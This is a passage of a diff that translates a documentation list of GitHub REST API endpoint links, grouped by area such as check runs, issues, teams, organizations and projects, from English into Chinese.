-* [List workflow run artifacts](/rest/reference/actions#list-workflow-run-artifacts)
-* [Get an artifact](/rest/reference/actions#get-an-artifact)
-* [Delete an artifact](/rest/reference/actions#delete-an-artifact)
-* [Download an artifact](/rest/reference/actions#download-an-artifact)
+* [列出仓库的构件](/rest/reference/actions#list-artifacts-for-a-repository)
+* [列出工作流程运行构件](/rest/reference/actions#list-workflow-run-artifacts)
+* [获取构件](/rest/reference/actions#get-an-artifact)
+* [删除构件](/rest/reference/actions#delete-an-artifact)
+* [下载构件](/rest/reference/actions#download-an-artifact)
 {% endif %}
 
-#### Check Runs
+#### 检查运行
 
-* [Create a check run](/rest/reference/checks#create-a-check-run)
-* [Get a check run](/rest/reference/checks#get-a-check-run)
-* [Update a check run](/rest/reference/checks#update-a-check-run)
-* [List check run annotations](/rest/reference/checks#list-check-run-annotations)
-* [List check runs in a check suite](/rest/reference/checks#list-check-runs-in-a-check-suite)
-* [List check runs for a Git reference](/rest/reference/checks#list-check-runs-for-a-git-reference)
+* [创建检查运行](/rest/reference/checks#create-a-check-run)
+* [获取检查运行](/rest/reference/checks#get-a-check-run)
+* [更新检查运行](/rest/reference/checks#update-a-check-run)
+* [列出检查运行注释](/rest/reference/checks#list-check-run-annotations)
+* [列出检查套件中的检查运行](/rest/reference/checks#list-check-runs-in-a-check-suite)
+* [列出 Git 引用的检查运行](/rest/reference/checks#list-check-runs-for-a-git-reference)
 
-#### Check Suites
+#### 检查套件
 
-* [Create a check suite](/rest/reference/checks#create-a-check-suite)
-* [Get a check suite](/rest/reference/checks#get-a-check-suite)
-* [Rerequest a check suite](/rest/reference/checks#rerequest-a-check-suite)
-* [Update repository preferences for check suites](/rest/reference/checks#update-repository-preferences-for-check-suites)
-* [List check suites for a Git reference](/rest/reference/checks#list-check-suites-for-a-git-reference)
+* [创建检查套件](/rest/reference/checks#create-a-check-suite)
+* [获取检查套件](/rest/reference/checks#get-a-check-suite)
+* [重新请求检查套件](/rest/reference/checks#rerequest-a-check-suite)
+* [更新检查套件的仓库首选项](/rest/reference/checks#update-repository-preferences-for-check-suites)
+* [列出 Git 引用的检查套件](/rest/reference/checks#list-check-suites-for-a-git-reference)
 
-#### Codes Of Conduct
+#### 行为准则
 
-* [Get all codes of conduct](/rest/reference/codes-of-conduct#get-all-codes-of-conduct)
-* [Get a code of conduct](/rest/reference/codes-of-conduct#get-a-code-of-conduct)
+* [获取所有行为准则](/rest/reference/codes-of-conduct#get-all-codes-of-conduct)
+* [获取行为准则](/rest/reference/codes-of-conduct#get-a-code-of-conduct)
 
-#### Deployment Statuses
+#### 部署状态
 
-* [List deployment statuses](/rest/reference/deployments#list-deployment-statuses)
-* [Create a deployment status](/rest/reference/deployments#create-a-deployment-status)
-* [Get a deployment status](/rest/reference/deployments#get-a-deployment-status)
+* [列出部署状态](/rest/reference/deployments#list-deployment-statuses)
+* [创建部署状态](/rest/reference/deployments#create-a-deployment-status)
+* [获取部署状态](/rest/reference/deployments#get-a-deployment-status)
 
-#### Deployments
+#### 部署
 
-* [List deployments](/rest/reference/deployments#list-deployments)
-* [Create a deployment](/rest/reference/deployments#create-a-deployment)
+* [列出部署](/rest/reference/deployments#list-deployments)
+* [创建部署](/rest/reference/deployments#create-a-deployment)
 * [Get a deployment](/rest/reference/deployments#get-a-deployment){% ifversion fpt or ghes or ghae or ghec %}
-* [Delete a deployment](/rest/reference/deployments#delete-a-deployment){% endif %}
+* [删除部署](/rest/reference/deployments#delete-a-deployment){% endif %}
 
-#### Events
+#### 事件
 
-* [List public events for a network of repositories](/rest/reference/activity#list-public-events-for-a-network-of-repositories)
-* [List public organization events](/rest/reference/activity#list-public-organization-events)
+* [列出仓库网络的公开事件](/rest/reference/activity#list-public-events-for-a-network-of-repositories)
+* [列出公开组织事件](/rest/reference/activity#list-public-organization-events)
 
-#### Feeds
+#### 馈送
 
-* [Get feeds](/rest/reference/activity#get-feeds)
+* [获取馈送](/rest/reference/activity#get-feeds)
 
-#### Git Blobs
+#### Git Blob
 
-* [Create a blob](/rest/reference/git#create-a-blob)
-* [Get a blob](/rest/reference/git#get-a-blob)
+* [创建 Blob](/rest/reference/git#create-a-blob)
+* [获取 Blob](/rest/reference/git#get-a-blob)
 
-#### Git Commits
+#### Git 提交
 
-* [Create a commit](/rest/reference/git#create-a-commit)
-* [Get a commit](/rest/reference/git#get-a-commit)
+* [创建提交](/rest/reference/git#create-a-commit)
+* [获取提交](/rest/reference/git#get-a-commit)
 
-#### Git Refs
+#### Git 引用
 
-* [Create a reference](/rest/reference/git#create-a-reference)* [Get a reference](/rest/reference/git#get-a-reference)
-* [List matching references](/rest/reference/git#list-matching-references)
-* [Update a reference](/rest/reference/git#update-a-reference)
-* [Delete a reference](/rest/reference/git#delete-a-reference)
+* [创建引用](/rest/reference/git#create-a-reference)* [获取引用](/rest/reference/git#get-a-reference)
+* [列出匹配的引用](/rest/reference/git#list-matching-references)
+* [更新引用](/rest/reference/git#update-a-reference)
+* [删除引用](/rest/reference/git#delete-a-reference)
 
-#### Git Tags
+#### Git 标记
 
-* [Create a tag object](/rest/reference/git#create-a-tag-object)
-* [Get a tag](/rest/reference/git#get-a-tag)
+* [创建标记对象](/rest/reference/git#create-a-tag-object)
+* [获取标记](/rest/reference/git#get-a-tag)
 
-#### Git Trees
+#### Git 树
 
-* [Create a tree](/rest/reference/git#create-a-tree)
-* [Get a tree](/rest/reference/git#get-a-tree)
+* [创建树](/rest/reference/git#create-a-tree)
+* [获取树](/rest/reference/git#get-a-tree)
 
-#### Gitignore Templates
+#### Gitignore 模板
 
-* [Get all gitignore templates](/rest/reference/gitignore#get-all-gitignore-templates)
-* [Get a gitignore template](/rest/reference/gitignore#get-a-gitignore-template)
+* [获取所有 gitignore 模板](/rest/reference/gitignore#get-all-gitignore-templates)
+* [获取 gitignore 模板](/rest/reference/gitignore#get-a-gitignore-template)
 
-#### Installations
+#### 安装设施
 
-* [List repositories accessible to the user access token](/rest/reference/apps#list-repositories-accessible-to-the-user-access-token)
+* [列出用户访问令牌可访问的仓库](/rest/reference/apps#list-repositories-accessible-to-the-user-access-token)
 
 {% ifversion fpt or ghec %}
-#### Interaction Limits
+#### 交互限制
 
-* [Get interaction restrictions for an organization](/rest/reference/interactions#get-interaction-restrictions-for-an-organization)
-* [Set interaction restrictions for an organization](/rest/reference/interactions#set-interaction-restrictions-for-an-organization)
-* [Remove interaction restrictions for an organization](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization)
-* [Get interaction restrictions for a repository](/rest/reference/interactions#get-interaction-restrictions-for-a-repository)
-* [Set interaction restrictions for a repository](/rest/reference/interactions#set-interaction-restrictions-for-a-repository)
-* [Remove interaction restrictions for a repository](/rest/reference/interactions#remove-interaction-restrictions-for-a-repository)
+* [获取组织的交互限制](/rest/reference/interactions#get-interaction-restrictions-for-an-organization)
+* [设置组织的交互限制](/rest/reference/interactions#set-interaction-restrictions-for-an-organization)
+* [删除组织的交互限制](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization)
+* [获取仓库的交互限制](/rest/reference/interactions#get-interaction-restrictions-for-a-repository)
+* [设置仓库的交互限制](/rest/reference/interactions#set-interaction-restrictions-for-a-repository)
+* [删除仓库的交互限制](/rest/reference/interactions#remove-interaction-restrictions-for-a-repository)
 {% endif %}
 
-#### Issue Assignees
+#### 议题受理人
 
-* [Add assignees to an issue](/rest/reference/issues#add-assignees-to-an-issue)
-* [Remove assignees from an issue](/rest/reference/issues#remove-assignees-from-an-issue)
+* [向议题添加受理人](/rest/reference/issues#add-assignees-to-an-issue)
+* [从议题删除受理人](/rest/reference/issues#remove-assignees-from-an-issue)
 
-#### Issue Comments
+#### 议题评论
 
-* [List issue comments](/rest/reference/issues#list-issue-comments)
-* [Create an issue comment](/rest/reference/issues#create-an-issue-comment)
-* [List issue comments for a repository](/rest/reference/issues#list-issue-comments-for-a-repository)
-* [Get an issue comment](/rest/reference/issues#get-an-issue-comment)
-* [Update an issue comment](/rest/reference/issues#update-an-issue-comment)
-* [Delete an issue comment](/rest/reference/issues#delete-an-issue-comment)
+* [列出议题评论](/rest/reference/issues#list-issue-comments)
+* [创建议题评论](/rest/reference/issues#create-an-issue-comment)
+* [列出仓库的议题评论](/rest/reference/issues#list-issue-comments-for-a-repository)
+* [获取议题评论](/rest/reference/issues#get-an-issue-comment)
+* [更新议题评论](/rest/reference/issues#update-an-issue-comment)
+* [删除议题评论](/rest/reference/issues#delete-an-issue-comment)
 
-#### Issue Events
+#### 议题事件
 
-* [List issue events](/rest/reference/issues#list-issue-events)
+* [列出议题事件](/rest/reference/issues#list-issue-events)
 
-#### Issue Timeline
+#### 议题时间表
 
-* [List timeline events for an issue](/rest/reference/issues#list-timeline-events-for-an-issue)
+* [列出议题的时间表事件](/rest/reference/issues#list-timeline-events-for-an-issue)
 
-#### Issues
+#### 议题
 
-* [List issues assigned to the authenticated user](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)
-* [List assignees](/rest/reference/issues#list-assignees)
-* [Check if a user can be assigned](/rest/reference/issues#check-if-a-user-can-be-assigned)
-* [List repository issues](/rest/reference/issues#list-repository-issues)
-* [Create an issue](/rest/reference/issues#create-an-issue)
-* [Get an issue](/rest/reference/issues#get-an-issue)
-* [Update an issue](/rest/reference/issues#update-an-issue)
-* [Lock an issue](/rest/reference/issues#lock-an-issue)
-* [Unlock an issue](/rest/reference/issues#unlock-an-issue)
+* [列出分配给经验证用户的议题](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)
+* [列出受理人](/rest/reference/issues#list-assignees)
+* [检查是否可以分配给用户](/rest/reference/issues#check-if-a-user-can-be-assigned)
+* [列出仓库议题](/rest/reference/issues#list-repository-issues)
+* [创建议题](/rest/reference/issues#create-an-issue)
+* [获取议题](/rest/reference/issues#get-an-issue)
+* [更新议题](/rest/reference/issues#update-an-issue)
+* [锁定议题](/rest/reference/issues#lock-an-issue)
+* [解锁议题](/rest/reference/issues#unlock-an-issue)
 
 {% ifversion fpt or ghec %}
 #### Jobs
 
-* [Get a job for a workflow run](/rest/reference/actions#get-a-job-for-a-workflow-run)
-* [Download job logs for a workflow run](/rest/reference/actions#download-job-logs-for-a-workflow-run)
-* [List jobs for a workflow run](/rest/reference/actions#list-jobs-for-a-workflow-run)
+* [获取工作流程运行的作业](/rest/reference/actions#get-a-job-for-a-workflow-run)
+* [下载工作流程运行的作业日志](/rest/reference/actions#download-job-logs-for-a-workflow-run)
+* [列出工作流程运行的作业](/rest/reference/actions#list-jobs-for-a-workflow-run)
 {% endif %}
 
-#### Labels
+#### 标签
 
-* [List labels for an issue](/rest/reference/issues#list-labels-for-an-issue)
-* [Add labels to an issue](/rest/reference/issues#add-labels-to-an-issue)
-* [Set labels for an issue](/rest/reference/issues#set-labels-for-an-issue)
-* [Remove all labels from an issue](/rest/reference/issues#remove-all-labels-from-an-issue)
-* [Remove a label from an issue](/rest/reference/issues#remove-a-label-from-an-issue)
-* [List labels for a repository](/rest/reference/issues#list-labels-for-a-repository)
-* [Create a label](/rest/reference/issues#create-a-label)
-* [Get a label](/rest/reference/issues#get-a-label)
-* [Update a label](/rest/reference/issues#update-a-label)
-* [Delete a label](/rest/reference/issues#delete-a-label)
-* [Get labels for every issue in a milestone](/rest/reference/issues#list-labels-for-issues-in-a-milestone)
+* [列出议题的标签](/rest/reference/issues#list-labels-for-an-issue)
+* [向议题添加标签](/rest/reference/issues#add-labels-to-an-issue)
+* [为议题设置标签](/rest/reference/issues#set-labels-for-an-issue)
+* [删除议题的所有标签](/rest/reference/issues#remove-all-labels-from-an-issue)
+* [删除议题的一个标签](/rest/reference/issues#remove-a-label-from-an-issue)
+* [列出仓库的标签](/rest/reference/issues#list-labels-for-a-repository)
+* [创建标签](/rest/reference/issues#create-a-label)
+* [获取标签](/rest/reference/issues#get-a-label)
+* [更新标签](/rest/reference/issues#update-a-label)
+* [删除标签](/rest/reference/issues#delete-a-label)
+* [获取里程碑中每个议题的标签](/rest/reference/issues#list-labels-for-issues-in-a-milestone)
 
-#### Licenses
+#### 许可
 
-* [Get all commonly used licenses](/rest/reference/licenses#get-all-commonly-used-licenses)
-* [Get a license](/rest/reference/licenses#get-a-license)
+* [获取所有常用许可](/rest/reference/licenses#get-all-commonly-used-licenses)
+* [获取许可](/rest/reference/licenses#get-a-license)
 
 #### Markdown
 
-* [Render a Markdown document](/rest/reference/markdown#render-a-markdown-document)
-* [Render a markdown document in raw mode](/rest/reference/markdown#render-a-markdown-document-in-raw-mode)
+* [渲染 Markdown 文档](/rest/reference/markdown#render-a-markdown-document)
+* [在原始模式下渲染 Markdown 文档](/rest/reference/markdown#render-a-markdown-document-in-raw-mode)
 
-#### Meta
+#### 元数据
 
-* [Meta](/rest/reference/meta#meta)
+* [元数据](/rest/reference/meta#meta)
 
-#### Milestones
+#### 里程碑
 
-* [List milestones](/rest/reference/issues#list-milestones)
-* [Create a milestone](/rest/reference/issues#create-a-milestone)
-* [Get a milestone](/rest/reference/issues#get-a-milestone)
-* [Update a milestone](/rest/reference/issues#update-a-milestone)
-* [Delete a milestone](/rest/reference/issues#delete-a-milestone)
+* [列出里程碑](/rest/reference/issues#list-milestones)
+* [创建里程碑](/rest/reference/issues#create-a-milestone)
+* [获取里程碑](/rest/reference/issues#get-a-milestone)
+* [更新里程碑](/rest/reference/issues#update-a-milestone)
+* [删除里程碑](/rest/reference/issues#delete-a-milestone)
 
-#### Organization Hooks
+#### 组织挂钩
 
-* [List organization webhooks](/rest/reference/orgs#webhooks/#list-organization-webhooks)
-* [Create an organization webhook](/rest/reference/orgs#webhooks/#create-an-organization-webhook)
-* [Get an organization webhook](/rest/reference/orgs#webhooks/#get-an-organization-webhook)
-* [Update an organization webhook](/rest/reference/orgs#webhooks/#update-an-organization-webhook)
-* [Delete an organization webhook](/rest/reference/orgs#webhooks/#delete-an-organization-webhook)
-* [Ping an organization webhook](/rest/reference/orgs#webhooks/#ping-an-organization-webhook)
+* [列出组织 web 挂钩](/rest/reference/orgs#webhooks/#list-organization-webhooks)
+* [创建组织 web 挂钩](/rest/reference/orgs#webhooks/#create-an-organization-webhook)
+* [获取组织 web 挂钩](/rest/reference/orgs#webhooks/#get-an-organization-webhook)
+* [更新组织 web 挂钩](/rest/reference/orgs#webhooks/#update-an-organization-webhook)
+* [删除组织 web 挂钩](/rest/reference/orgs#webhooks/#delete-an-organization-webhook)
+* [Ping 组织 web 挂钩](/rest/reference/orgs#webhooks/#ping-an-organization-webhook)
 
 {% ifversion fpt or ghec %}
-#### Organization Invitations
+#### 组织邀请
 
-* [List pending organization invitations](/rest/reference/orgs#list-pending-organization-invitations)
-* [Create an organization invitation](/rest/reference/orgs#create-an-organization-invitation)
-* [List organization invitation teams](/rest/reference/orgs#list-organization-invitation-teams)
+* [列出待处理的组织邀请](/rest/reference/orgs#list-pending-organization-invitations)
+* [创建组织邀请](/rest/reference/orgs#create-an-organization-invitation)
+* [列出组织邀请团队](/rest/reference/orgs#list-organization-invitation-teams)
 {% endif %}
 
-#### Organization Members
+#### 组织成员
 
-* [List organization members](/rest/reference/orgs#list-organization-members)
-* [Check organization membership for a user](/rest/reference/orgs#check-organization-membership-for-a-user)
-* [Remove an organization member](/rest/reference/orgs#remove-an-organization-member)
-* [Get organization membership for a user](/rest/reference/orgs#get-organization-membership-for-a-user)
-* [Set organization membership for a user](/rest/reference/orgs#set-organization-membership-for-a-user)
-* [Remove organization membership for a user](/rest/reference/orgs#remove-organization-membership-for-a-user)
-* [List public organization members](/rest/reference/orgs#list-public-organization-members)
-* [Check public organization membership for a user](/rest/reference/orgs#check-public-organization-membership-for-a-user)
-* [Set public organization membership for the authenticated user](/rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user)
-* [Remove public organization membership for the authenticated user](/rest/reference/orgs#remove-public-organization-membership-for-the-authenticated-user)
+* [列出组织成员](/rest/reference/orgs#list-organization-members)
+* [检查用户的组织成员身份](/rest/reference/orgs#check-organization-membership-for-a-user)
+* [删除组织成员](/rest/reference/orgs#remove-an-organization-member)
+* [获取用户的组织成员身份](/rest/reference/orgs#get-organization-membership-for-a-user)
+* [设置用户的组织成员身份](/rest/reference/orgs#set-organization-membership-for-a-user)
+* [删除用户的组织成员身份](/rest/reference/orgs#remove-organization-membership-for-a-user)
+* [列出公共组织成员](/rest/reference/orgs#list-public-organization-members)
+* [检查用户的公共组织成员身份](/rest/reference/orgs#check-public-organization-membership-for-a-user)
+* [设置经验证用户的公共组织成员身份](/rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user)
+* [删除经验证用户的公共组织成员身份](/rest/reference/orgs#remove-public-organization-membership-for-the-authenticated-user)
 
-#### Organization Outside Collaborators
+#### 组织外部协作者
 
-* [List outside collaborators for an organization](/rest/reference/orgs#list-outside-collaborators-for-an-organization)
-* [Convert an organization member to outside collaborator](/rest/reference/orgs#convert-an-organization-member-to-outside-collaborator)
-* [Remove outside collaborator from an organization](/rest/reference/orgs#remove-outside-collaborator-from-an-organization)
+* [列出组织的外部协作者](/rest/reference/orgs#list-outside-collaborators-for-an-organization)
+* [将组织成员转换为外部协作者](/rest/reference/orgs#convert-an-organization-member-to-outside-collaborator)
+* [删除组织的外部协作者](/rest/reference/orgs#remove-outside-collaborator-from-an-organization)
 
 {% ifversion ghes %}
-#### Organization Pre Receive Hooks
+#### 组织预接收挂钩
 
-* [List pre-receive hooks for an organization](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-an-organization)
-* [Get a pre-receive hook for an organization](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-an-organization)
-* [Update pre-receive hook enforcement for an organization](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-an-organization)
-* [Remove pre-receive hook enforcement for an organization](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-an-organization)
+* [列出组织的预接收挂钩](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-an-organization)
+* [获取组织的预接收挂钩](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-an-organization)
+* [更新组织的预接收挂钩实施](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-an-organization)
+* [删除组织的预接收挂钩实施](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-an-organization)
 {% endif %}
 
 {% ifversion fpt or ghes or ghae or ghec %}
-#### Organization Team Projects
+#### 组织团队项目
 
-* [List team projects](/rest/reference/teams#list-team-projects)
-* [Check team permissions for a project](/rest/reference/teams#check-team-permissions-for-a-project)
-* [Add or update team project permissions](/rest/reference/teams#add-or-update-team-project-permissions)
-* [Remove a project from a team](/rest/reference/teams#remove-a-project-from-a-team)
+* [列出团队项目](/rest/reference/teams#list-team-projects)
+* [检查项目的团队权限](/rest/reference/teams#check-team-permissions-for-a-project)
+* [添加或更新团队项目权限](/rest/reference/teams#add-or-update-team-project-permissions)
+* [从团队删除项目](/rest/reference/teams#remove-a-project-from-a-team)
 {% endif %}
 
-#### Organization Team Repositories
+#### 组织团队仓库
 
-* [List team repositories](/rest/reference/teams#list-team-repositories)
-* [Check team permissions for a repository](/rest/reference/teams#check-team-permissions-for-a-repository)
-* [Add or update team repository permissions](/rest/reference/teams#add-or-update-team-repository-permissions)
-* [Remove a repository from a team](/rest/reference/teams#remove-a-repository-from-a-team)
+* [列出团队仓库](/rest/reference/teams#list-team-repositories)
+* [检查仓库的团队权限](/rest/reference/teams#check-team-permissions-for-a-repository)
+* [添加或更新团队仓库权限](/rest/reference/teams#add-or-update-team-repository-permissions)
+* [从团队删除仓库](/rest/reference/teams#remove-a-repository-from-a-team)
 
 {% ifversion fpt or ghec %}
-#### Organization Team Sync
+#### 组织团队同步
 
-* [List idp groups for a team](/rest/reference/teams#list-idp-groups-for-a-team)
-* [Create or update idp group connections](/rest/reference/teams#create-or-update-idp-group-connections)
-* [List IdP groups for an organization](/rest/reference/teams#list-idp-groups-for-an-organization)
+* [列出团队的 idp 组](/rest/reference/teams#list-idp-groups-for-a-team)
+* [创建或更新 idp 组连接](/rest/reference/teams#create-or-update-idp-group-connections)
+* [列出组织的 IdP 组](/rest/reference/teams#list-idp-groups-for-an-organization)
 {% endif %}
 
-#### Organization Teams
+#### 组织团队
 
-* [List teams](/rest/reference/teams#list-teams)
-* [Create a team](/rest/reference/teams#create-a-team)
-* [Get a team by name](/rest/reference/teams#get-a-team-by-name)
-* [Update a team](/rest/reference/teams#update-a-team)
-* [Delete a team](/rest/reference/teams#delete-a-team)
+* [列出团队](/rest/reference/teams#list-teams)
+* [创建团队](/rest/reference/teams#create-a-team)
+* [按名称获取团队](/rest/reference/teams#get-a-team-by-name)
+* [更新团队](/rest/reference/teams#update-a-team)
+* [删除团队](/rest/reference/teams#delete-a-team)
 {% ifversion fpt or ghec %}
-* [List pending team invitations](/rest/reference/teams#list-pending-team-invitations)
+* [列出待处理的团队邀请](/rest/reference/teams#list-pending-team-invitations)
 {% endif %}
-* [List team members](/rest/reference/teams#list-team-members)
-* [Get team membership for a user](/rest/reference/teams#get-team-membership-for-a-user)
-* [Add or update team membership for a user](/rest/reference/teams#add-or-update-team-membership-for-a-user)
-* [Remove team membership for a user](/rest/reference/teams#remove-team-membership-for-a-user)
-* [List child teams](/rest/reference/teams#list-child-teams)
-* [List teams for the authenticated user](/rest/reference/teams#list-teams-for-the-authenticated-user)
+* [列出团队成员](/rest/reference/teams#list-team-members)
+* [获取用户的团队成员身份](/rest/reference/teams#get-team-membership-for-a-user)
+* [添加或更新用户的团队成员身份](/rest/reference/teams#add-or-update-team-membership-for-a-user)
+* [删除用户的团队成员身份](/rest/reference/teams#remove-team-membership-for-a-user)
+* [列出子团队](/rest/reference/teams#list-child-teams)
+* [列出经验证用户的团队](/rest/reference/teams#list-teams-for-the-authenticated-user)
 
-#### Organizations
+#### 组织
 
-* [List organizations](/rest/reference/orgs#list-organizations)
-* [Get an organization](/rest/reference/orgs#get-an-organization)
-* [Update an organization](/rest/reference/orgs#update-an-organization)
-* [List organization memberships for the authenticated user](/rest/reference/orgs#list-organization-memberships-for-the-authenticated-user)
-* [Get an organization membership for the authenticated user](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user)
-* [Update an organization membership for the authenticated user](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user)
-* [List organizations for the authenticated user](/rest/reference/orgs#list-organizations-for-the-authenticated-user)
-* [List organizations for a user](/rest/reference/orgs#list-organizations-for-a-user)
+* [列出组织](/rest/reference/orgs#list-organizations)
+* [获取组织](/rest/reference/orgs#get-an-organization)
+* [更新组织](/rest/reference/orgs#update-an-organization)
+* [列出经验证用户的组织成员身份](/rest/reference/orgs#list-organization-memberships-for-the-authenticated-user)
+* [获取经验证用户的组织成员身份](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user)
+* [更新经验证用户的组织成员身份](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user)
+* [列出经验证用户的组织](/rest/reference/orgs#list-organizations-for-the-authenticated-user)
+* [列出用户的组织](/rest/reference/orgs#list-organizations-for-a-user)
 
 {% ifversion fpt or ghec %}
-#### Organizations Credential Authorizations
+#### 组织凭据授权
 
-* [List SAML SSO authorizations for an organization](/rest/reference/orgs#list-saml-sso-authorizations-for-an-organization)
-* [Remove a SAML SSO authorization for an organization](/rest/reference/orgs#remove-a-saml-sso-authorization-for-an-organization)
+* [列出组织的 SAML SSO 授权](/rest/reference/orgs#list-saml-sso-authorizations-for-an-organization)
+* [删除组织的 SAML SSO 授权](/rest/reference/orgs#remove-a-saml-sso-authorization-for-an-organization)
 {% endif %}
 
 {% ifversion fpt or ghec %}
-#### Organizations Scim
+#### 组织 SCIM
 
-* [List SCIM provisioned identities](/rest/reference/scim#list-scim-provisioned-identities)
-* [Provision and invite a SCIM user](/rest/reference/scim#provision-and-invite-a-scim-user)
-* [Get SCIM provisioning information for a user](/rest/reference/scim#get-scim-provisioning-information-for-a-user)
-* [Set SCIM information for a provisioned user](/rest/reference/scim#set-scim-information-for-a-provisioned-user)
-* [Update an attribute for a SCIM user](/rest/reference/scim#update-an-attribute-for-a-scim-user)
-* [Delete a SCIM user from an organization](/rest/reference/scim#delete-a-scim-user-from-an-organization)
+* [列出 SCIM 预配标识](/rest/reference/scim#list-scim-provisioned-identities)
+* [预配并邀请 SCIM 用户](/rest/reference/scim#provision-and-invite-a-scim-user)
+* [获取用户的 SCIM 预配信息](/rest/reference/scim#get-scim-provisioning-information-for-a-user)
+* [为预配用户设置 SCIM 信息](/rest/reference/scim#set-scim-information-for-a-provisioned-user)
+* [更新 SCIM 用户的属性](/rest/reference/scim#update-an-attribute-for-a-scim-user)
+* [从组织中删除 SCIM 用户](/rest/reference/scim#delete-a-scim-user-from-an-organization)
 {% endif %}
 
 {% ifversion fpt or ghec %}
-#### Source Imports
+#### 源导入
 
-* [Get an import status](/rest/reference/migrations#get-an-import-status)
-* [Start an import](/rest/reference/migrations#start-an-import)
-* [Update an import](/rest/reference/migrations#update-an-import)
-* [Cancel an import](/rest/reference/migrations#cancel-an-import)
-* [Get commit authors](/rest/reference/migrations#get-commit-authors)
-* [Map a commit author](/rest/reference/migrations#map-a-commit-author)
-* [Get large files](/rest/reference/migrations#get-large-files)
-* [Update Git LFS preference](/rest/reference/migrations#update-git-lfs-preference)
+* [获取导入状态](/rest/reference/migrations#get-an-import-status)
+* [开始导入](/rest/reference/migrations#start-an-import)
+* [更新导入](/rest/reference/migrations#update-an-import)
+* [取消导入](/rest/reference/migrations#cancel-an-import)
+* [获取提交作者](/rest/reference/migrations#get-commit-authors)
+* [映射提交作者](/rest/reference/migrations#map-a-commit-author)
+* [获取大文件](/rest/reference/migrations#get-large-files)
+* [更新 Git LFS 首选项](/rest/reference/migrations#update-git-lfs-preference)
 {% endif %}
 
-#### Project Collaborators
+#### 项目协作者
 
-* [List project collaborators](/rest/reference/projects#list-project-collaborators)
-* [Add project collaborator](/rest/reference/projects#add-project-collaborator)
-* [Remove project collaborator](/rest/reference/projects#remove-project-collaborator)
-* [Get project permission for a user](/rest/reference/projects#get-project-permission-for-a-user)
+* [列出项目协作者](/rest/reference/projects#list-project-collaborators)
+* [添加项目协作者](/rest/reference/projects#add-project-collaborator)
+* [删除项目协作者](/rest/reference/projects#remove-project-collaborator)
+* [获取用户的项目权限](/rest/reference/projects#get-project-permission-for-a-user)
 
-#### Projects
+#### 项目
 
-* [List organization projects](/rest/reference/projects#list-organization-projects)
-* [Create an organization project](/rest/reference/projects#create-an-organization-project)
-* [Get a project](/rest/reference/projects#get-a-project)
-* [Update a project](/rest/reference/projects#update-a-project)
-* [Delete a project](/rest/reference/projects#delete-a-project)
-* [List project columns](/rest/reference/projects#list-project-columns)
-* [Create a project column](/rest/reference/projects#create-a-project-column)
-* [Get a project column](/rest/reference/projects#get-a-project-column)
-* [Update a project column](/rest/reference/projects#update-a-project-column)
-* [Delete a project column](/rest/reference/projects#delete-a-project-column)
-* [List project cards](/rest/reference/projects#list-project-cards)
-* [Create a project card](/rest/reference/projects#create-a-project-card)
-* [Move a project column](/rest/reference/projects#move-a-project-column)
-* [Get a project card](/rest/reference/projects#get-a-project-card)
-* [Update a project card](/rest/reference/projects#update-a-project-card)
-* [Delete a project card](/rest/reference/projects#delete-a-project-card)
-* [Move a project card](/rest/reference/projects#move-a-project-card)
-* [List repository projects](/rest/reference/projects#list-repository-projects)
-* [Create a repository project](/rest/reference/projects#create-a-repository-project)
+* [列出组织项目](/rest/reference/projects#list-organization-projects)
+* [创建组织项目](/rest/reference/projects#create-an-organization-project)
+* [获取项目](/rest/reference/projects#get-a-project)
+* [更新项目](/rest/reference/projects#update-a-project)
+* [删除项目](/rest/reference/projects#delete-a-project)
+* [列出项目列](/rest/reference/projects#list-project-columns)
+* [创建项目列](/rest/reference/projects#create-a-project-column)
+* [获取项目列](/rest/reference/projects#get-a-project-column)
+* [更新项目列](/rest/reference/projects#update-a-project-column)
+* [删除项目列](/rest/reference/projects#delete-a-project-column)
+* [列出项目卡](/rest/reference/projects#list-project-cards)
+* [创建项目卡](/rest/reference/projects#create-a-project-card)
+* [移动项目列](/rest/reference/projects#move-a-project-column)
+* [获取项目卡](/rest/reference/projects#get-a-project-card)
+* [更新项目卡](/rest/reference/projects#update-a-project-card)
+* [删除项目卡](/rest/reference/projects#delete-a-project-card)
+* [移动项目卡](/rest/reference/projects#move-a-project-card)
+* [列出仓库项目](/rest/reference/projects#list-repository-projects)
+* [创建仓库项目](/rest/reference/projects#create-a-repository-project)
 
-#### Pull Comments
+#### 拉取注释
 
-* [List review comments on a pull request](/rest/reference/pulls#list-review-comments-on-a-pull-request)
-* [Create a review comment for a pull request](/rest/reference/pulls#create-a-review-comment-for-a-pull-request)
-* [List review comments in a repository](/rest/reference/pulls#list-review-comments-in-a-repository)
-* [Get a review comment for a pull request](/rest/reference/pulls#get-a-review-comment-for-a-pull-request)
-* [Update a review comment for a pull request](/rest/reference/pulls#update-a-review-comment-for-a-pull-request)
-* [Delete a review comment for a pull request](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request)
+* [列出拉取请求的审查注释](/rest/reference/pulls#list-review-comments-on-a-pull-request)
+* [为拉取请求创建审查注释](/rest/reference/pulls#create-a-review-comment-for-a-pull-request)
+* [列出仓库中的审查注释](/rest/reference/pulls#list-review-comments-in-a-repository)
+* [获取拉取请求的审查注释](/rest/reference/pulls#get-a-review-comment-for-a-pull-request)
+* [更新拉取请求的审查注释](/rest/reference/pulls#update-a-review-comment-for-a-pull-request)
+* [删除拉取请求的审查注释](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request)
 
-#### Pull Request Review Events
+#### 拉取请求审查事件
 
